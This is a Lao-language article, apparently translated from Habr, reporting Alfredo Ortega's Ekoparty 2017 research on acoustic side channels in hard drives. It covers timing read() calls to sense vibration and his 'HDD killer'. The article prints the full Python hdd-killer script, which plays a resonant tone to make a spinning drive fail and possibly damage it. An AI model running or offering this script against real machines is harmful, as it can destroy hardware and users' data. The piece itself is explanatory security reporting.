ໃນກອງປະຊຸມຄວາມປອດໄພຄອມພິວເຕີ Ekoparty 2017 ໃນ Buenos Aires, ແຮກເກີ Argentine Alfredo Ortega ໄດ້ສະແດງໃຫ້ເຫັນການພັດທະນາທີ່ຫນ້າສົນໃຈຫຼາຍ - ລະບົບສໍາລັບການປິດລັບ wiretapping ຂອງສະຖານທີ່ໂດຍບໍ່ມີການໃຊ້ໄມໂຄໂຟນ. ສຽງ ບັນທຶກໂດຍກົງໃສ່ຮາດດິດ!

HDD ສ່ວນໃຫຍ່ຈະເອົາສຽງທີ່ມີຄວາມຖີ່ຕໍ່າຄວາມເຂັ້ມສູງ, ສຽງຍ່າງ ແລະແຮງສັ່ນສະເທືອນອື່ນໆ. ຄໍາເວົ້າຂອງມະນຸດຍັງບໍ່ສາມາດຮັບຮູ້ໄດ້, ເຖິງແມ່ນວ່ານັກວິທະຍາສາດ ກໍາລັງດໍາເນີນການຄົ້ນຄ້ວາໃນທິດທາງນີ້ (ການຮັບຮູ້ສຽງເວົ້າໂດຍການສັ່ນສະເທືອນຄວາມຖີ່ຕ່ໍາ, ເຊິ່ງຖືກບັນທຶກໄວ້, ສໍາລັບການຍົກຕົວຢ່າງ, ຈາກ gyroscope ຫຼື HDD).

ສຽງແມ່ນການສັ່ນສະເທືອນຂອງອາກາດຫຼືສື່ກາງອື່ນ. ບຸກຄົນຮັບຮູ້ພວກມັນຜ່ານຫູຟັງ, ເຊິ່ງສົ່ງການສັ່ນສະເທືອນໄປສູ່ຫູພາຍໃນ. ໄມໂຄຣໂຟນໄດ້ຖືກອອກແບບປະມານຄ້າຍຄືຫູ - ທີ່ນີ້, ເຊັ່ນດຽວກັນ, ການສັ່ນສະເທືອນໄດ້ຖືກບັນທຶກໄວ້ໂດຍເຍື່ອບາງໆ, ເຊິ່ງກະຕຸ້ນການກະຕຸ້ນໄຟຟ້າ. ຮາດດິດ, ແນ່ນອນ, ຍັງຖືກສັ່ນສະເທືອນກ້ອງຈຸລະທັດເນື່ອງຈາກການເຫນັງຕີງຂອງອາກາດອ້ອມຂ້າງ. ນີ້ແມ່ນເປັນທີ່ຮູ້ຈັກເຖິງແມ່ນວ່າຈາກຄຸນລັກສະນະທາງວິຊາການຂອງ HDDs: ຜູ້ຜະລິດມັກຈະຊີ້ໃຫ້ເຫັນເຖິງລະດັບການສັ່ນສະເທືອນສູງສຸດທີ່ອະນຸຍາດ, ແລະຮາດດິດຕົວມັນເອງມັກຈະພະຍາຍາມວາງມັນໄວ້ໃນຖັງປ້ອງກັນການສັ່ນສະເທືອນທີ່ເຮັດດ້ວຍຢາງຫຼືອຸປະກອນ insulating ອື່ນໆ. ຈາກນີ້ມັນງ່າຍທີ່ຈະສະຫຼຸບວ່າສຽງສາມາດຖືກບັນທຶກໂດຍໃຊ້ HDD. ທັງຫມົດທີ່ຍັງເຫຼືອແມ່ນເພື່ອຄິດອອກວິທີການ.

Alfredo Ortega ສະເຫນີສະບັບທີ່ເປັນເອກະລັກຂອງການໂຈມຕີທາງຂ້າງ, ຄືການໂຈມຕີເວລາ. ການໂຈມຕີນີ້ແມ່ນອີງໃສ່ການສົມມຸດຕິຖານວ່າການດໍາເນີນງານທີ່ແຕກຕ່າງກັນແມ່ນດໍາເນີນຢູ່ໃນອຸປະກອນໃນເວລາທີ່ແຕກຕ່າງກັນ, ຂຶ້ນກັບຂໍ້ມູນທີ່ປ້ອນເຂົ້າ. ໃນກໍລະນີນີ້, "ຂໍ້ມູນປ້ອນເຂົ້າ" ແມ່ນການສັ່ນສະເທືອນຂອງຫົວອ່ານແລະແຜ່ນ HDD, ເຊິ່ງກ່ຽວຂ້ອງກັບການສັ່ນສະເທືອນຂອງສະພາບແວດລ້ອມ, ນັ້ນແມ່ນ, ມີສຽງ. ດັ່ງນັ້ນ, ໂດຍການວັດແທກເວລາການຄິດໄລ່ແລະປະຕິບັດການວິເຄາະສະຖິຕິຂອງຂໍ້ມູນ, ການສັ່ນສະເທືອນຂອງຫົວ / ແຜ່ນແລະດັ່ງນັ້ນການສັ່ນສະເທືອນຂອງຂະຫນາດກາງສາມາດວັດແທກໄດ້. ຄວາມລ່າຊ້າໃນການອ່ານຂໍ້ມູນດົນຂຶ້ນ, ການສັ່ນສະເທືອນ HDD ແຮງຂຶ້ນ ແລະດັ່ງນັ້ນ, ສຽງດັງຂຶ້ນ.

ວິທີການວັດແທກການສັ່ນສະເທືອນຂອງຮາດດິດ? ງ່າຍດາຍຫຼາຍ: ພຽງແຕ່ດໍາເນີນການໂທຫາລະບົບ read () — ແລະ​ບັນ​ທຶກ​ເວ​ລາ​ທີ່​ມັນ​ໃຊ້​ເວ​ລາ​ເພື່ອ​ສໍາ​ເລັດ​. ລະບົບປະຕິບັດການທີ່ທັນສະໄຫມຊ່ວຍໃຫ້ທ່ານສາມາດອ່ານເວລາຂອງການໂທລະບົບດ້ວຍຄວາມຖືກຕ້ອງ nanosecond.

ຄວາມໄວຂອງການອ່ານຂໍ້ມູນຈາກຂະແຫນງການແມ່ນຂຶ້ນກັບຕໍາແຫນ່ງຂອງຫົວແລະແຜ່ນ, ເຊິ່ງກ່ຽວຂ້ອງກັບການສັ່ນສະເທືອນຂອງກໍລະນີ HDD. ຫມົດ​ເທົ່າ​ນີ້.

ການ​ວິ​ເຄາະ​ທາງ​ສະ​ຖິ​ຕິ​ແມ່ນ​ປະ​ຕິ​ບັດ​ໂດຍ​ນໍາ​ໃຊ້​ປະ​ໂຫຍດ Kscope ງ່າຍ​ດາຍ​. ຍ້ອນວ່າເຂົາເຈົ້າເວົ້າວ່າ, ທຸກສິ່ງທຸກຢ່າງ ingenious ແມ່ນງ່າຍດາຍ.

Kscope utility (stat() syscall)

Kscope ແມ່ນສິ່ງທີ່ເປັນປະໂຫຍດຂະຫນາດນ້ອຍສໍາລັບການເບິ່ງເຫັນຄວາມແຕກຕ່າງນ້ອຍໆໃນເວລາປະຕິບັດການໂທຂອງລະບົບ. ທີ່ມາຈັດພີມມາຢູ່ໃນ GitHub.

ໃນ repository ແຍກຕ່າງຫາກ ເວລາ HDD ມີຮຸ່ນຂອງຜົນປະໂຫຍດທີ່ຖືກຕັ້ງຄ່າສໍາລັບການໂຈມຕີເວລາໃນຮາດໄດ, ນັ້ນແມ່ນ, ຕັ້ງຄ່າເພື່ອວິເຄາະການໂທລະບົບ. read ().

ການ​ສາ​ທິດ​ການ​ບັນ​ທຶກ​ສຽງ​ໂດຍ​ນໍາ​ໃຊ້ HDD​, ການ​ດໍາ​ເນີນ​ງານ​ຂອງ Kscope utility​

ແນ່ນອນ, ການປາກເວົ້າບໍ່ສາມາດເຂົ້າໃຈໃນລັກສະນະນີ້, ແຕ່ HDD ແມ່ນຂ້ອນຂ້າງເຫມາະສົມເປັນເຊັນເຊີການສັ່ນສະເທືອນ. ຕົວຢ່າງເຊັ່ນ, ທ່ານສາມາດລົງທະບຽນຖ້າຜູ້ທີ່ໃສ່ເກີບແຂງຫຼືຕີນເປົ່າເຂົ້າໄປໃນຫ້ອງທີ່ມີຄອມພິວເຕີ (ອາດຈະເປັນ, ຖ້າຜູ້ໂຈມຕີໃສ່ເກີບເກີບອ່ອນໆຫຼືມີຜ້າພົມຫນາຢູ່ເທິງພື້ນ, HDD ຈະບໍ່ສາມາດລົງທະບຽນການສັ່ນສະເທືອນໄດ້ - ນີ້ແມ່ນມູນຄ່າການກວດສອບ). ຄອມພິວເຕີສາມາດລົງທະບຽນແກ້ວທີ່ແຕກຫັກຫຼືເຫດການອື່ນໆທີ່ມີຄວາມເຂັ້ມຂອງສຽງທີ່ເຂັ້ມແຂງ. ນັ້ນແມ່ນ, ຮາດດິດສາມາດຮັບໃຊ້ເປັນປະເພດຂອງລະບົບການກວດສອບການລ່ວງລະເມີດທີ່ບໍ່ໄດ້ຮັບອະນຸຍາດ.

HDD killer

ໂດຍວິທີທາງການ, ເຕັກນິກທີ່ຄ້າຍຄືກັນສາມາດຖືກນໍາໃຊ້ເພື່ອປິດການໃຊ້ງານຮາດດິດ. ພຽງແຕ່ໃນທີ່ນີ້ພວກເຮົາບໍ່ໄດ້ເອົາ oscillations ອອກຈາກ HDD, ແຕ່ໃນທາງກົງກັນຂ້າມ, ພວກເຮົາສ້າງ oscillations ທີ່ຖືກປ້ອນກັບ HDD. ຖ້າທ່ານຫຼິ້ນສຽງຈາກລໍາໂພງໃນຄວາມຖີ່ທີ່ສະທ້ອນກັບຄວາມຖີ່ຂອງ HDD, ລະບົບຈະປິດອຸປະກອນໃນໄວໆນີ້ດ້ວຍຄວາມຜິດພາດ I/O (ແກ່ນ Linux ຈະປິດ HDD ຢ່າງສົມບູນຫຼັງຈາກ 120 ວິນາທີ). ຮາດດິດຕົວມັນເອງອາດຈະໄດ້ຮັບຄວາມເສຍຫາຍທີ່ບໍ່ສາມາດປ່ຽນແປງໄດ້.

Linux kernel ໄດ້ປິດຮາດດິດຫຼັງຈາກ 120 ວິນາທີຂອງການສົ່ງສຽງທີ່ຄວາມຖີ່ resonant ຜ່ານລໍາໂພງ Edifier r19u USB. ລໍາໂພງຖືກເປີດຢູ່ທີ່ປະມານຫນຶ່ງສ່ວນສີ່ຂອງພະລັງງານ (ຫນ້ອຍກວ່າ 100 mW) ແລະຕັ້ງຢູ່ 20 ຊຕມຈາກ HDD, ແນໃສ່ຕາຕະລາງເພື່ອເພີ່ມການສັ່ນສະເທືອນ. ກອບຈາກ ວິດີໂອ ດ້ວຍການສາທິດຂອງ HDD killer

ມັນເປັນສິ່ງທີ່ຢາກຮູ້ຢາກເຫັນວ່າ "ການໂຈມຕີ" ໃນ HDDs ບາງຄັ້ງກໍ່ເກີດຂື້ນໂດຍບັງເອີນໃນຊີວິດປະຈໍາວັນ. ຕົວຢ່າງເຊັ່ນ, ໃນເດືອນກັນຍາ 2016, ສູນຂໍ້ມູນຂອງທະນາຄານ ING ໄດ້ຖືກບັງຄັບໃຫ້ໂຈະການດໍາເນີນງານເປັນເວລາ 10 ຊົ່ວໂມງຫຼັງຈາກການເຈາະໄຟ. ຮາດດິດຫຼາຍສິບອັນໄດ້ລົ້ມເຫລວ ເນື່ອງຈາກສຽງດັງຂອງອາຍແກັສ inert ຖືກປ່ອຍອອກມາຈາກກະບອກສູບພາຍໃຕ້ຄວາມກົດດັນສູງ. ສຽງດັງຫຼາຍ (ຫຼາຍກວ່າ 130 dB), ແຕ່ເຈົ້າບໍ່ສາມາດຮ້ອງໃສ່ຮາດດິດໄດ້ - ນີ້ເຮັດໃຫ້ຄວາມລ່າຊ້າໃນການເຂົ້າເຖິງ HDD ເພີ່ມຂຶ້ນ.

ການສາທິດການຮ້ອງສຽງດັງຂອງມະນຸດຢູ່ໃນຮາດໄດໃນສູນຂໍ້ມູນ. ການວັດແທກການຕອບສະໜອງ

ເພື່ອສ້າງສຽງສະທ້ອນ, Alfredo Ortega ຂຽນຕົວອັກສອນ Python ທີ່ເອີ້ນວ່າ hdd-killer (ວິດີໂອສາທິດ).

script killer HDD ມັນຂ້ອນຂ້າງນ້ອຍ, ດັ່ງນັ້ນທ່ານສາມາດເຜີຍແຜ່ມັນໄດ້ທັງຫມົດຢູ່ທີ່ນີ້.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ແຫຼ່ງຂໍ້ມູນ: www.habr.com